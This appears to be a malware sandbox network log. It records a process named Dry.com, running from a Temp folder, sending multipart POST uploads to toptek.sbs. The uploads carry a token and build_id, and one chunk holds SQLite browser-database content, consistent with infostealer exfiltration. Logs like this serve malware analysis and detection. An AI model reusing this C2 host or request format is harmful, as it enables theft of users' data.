2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:52 UTC	16355	OUT	Data Raw: 55 67 51 6b 39 50 54 45 56 42 54 69 42 45 52 55 5a 42 56 55 78 55 49 45 5a 42 54 46 4e 46 49 45 35 50 56 43 42 4f 56 55 78 4d 4b 56 41 45 42 68 63 72 4b 77 46 5a 64 47 46 69 62 47 56 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 56 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 46 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 4e 78 62 47 6c 30 5a 56 39 7a 5a 58 46 31 5a 57 35 6a 5a 53 68 75 59 57 31 6c 4c 48 4e 6c 63 53 6d 42 66 77 4d 48 46 78 55 56 41 59 4e 68 64 47 46 69 62 47 56 31 63 6d 78 7a 64 58 4a 73 63 77 52 44 55 6b 56 42 56 45 55 67 56 45 46 43 54 45 55 67 64 58 4a 73 63 79 68 70 5a 43 42 4a 54 6c 52 46 52 30 56 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 49 45 46 56 56 45 39 4a 54 6b 4e 53 52 55 31 46 54 Data Ascii: UgQk9PTEVBTiBERUZBVUxUIEZBTFNFIE5PVCBOVUxMKVAEBhcrKwFZdGFibGVzcWxpdGVfc2VxdWVuY2VzcWxpdGVfc2VxdWVuY2UFQ1JFQVRFIFRBQkxFIHNxbGl0ZV9zZXF1ZW5jZShuYW1lLHNlcSmBfwMHFxUVAYNhdGFibGV1cmxzdXJscwRDUkVBVEUgVEFCTEUgdXJscyhpZCBJTlRFR0VSIFBSSU1BUlkgS0VZIEFVVE9JTkNSRU1FT
2024-12-23 05:21:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49773	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:53 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ZCT0RQ16P8YM7QI589Z5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 66001 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:53 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 5a 43 54 30 52 51 31 36 50 38 59 4d 37 51 49 35 38 39 5a 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 5a 43 54 30 52 51 31 36 50 38 59 4d 37 51 49 35 38 39 5a 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 5a 43 54 30 52 51 31 36 50 38 59 4d 37 51 49 35 38 39 5a 35 0d 0a 43 6f 6e 74 Data Ascii: ------ZCT0RQ16P8YM7QI589Z5Content-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------ZCT0RQ16P8YM7QI589Z5Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------ZCT0RQ16P8YM7QI589Z5Cont
2024-12-23 05:21:53 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:53 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:53 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:53 UTC	581	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:54 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49775	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:56 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----E3E3OPZUA1N7YU3OPH4W User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 153381 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 33 45 33 4f 50 5a 55 41 31 4e 37 59 55 33 4f 50 48 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 45 33 45 33 4f 50 5a 55 41 31 4e 37 59 55 33 4f 50 48 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 45 33 45 33 4f 50 5a 55 41 31 4e 37 59 55 33 4f 50 48 34 57 0d 0a 43 6f 6e 74 Data Ascii: ------E3E3OPZUA1N7YU3OPH4WContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------E3E3OPZUA1N7YU3OPH4WContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------E3E3OPZUA1N7YU3OPH4WCont
2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
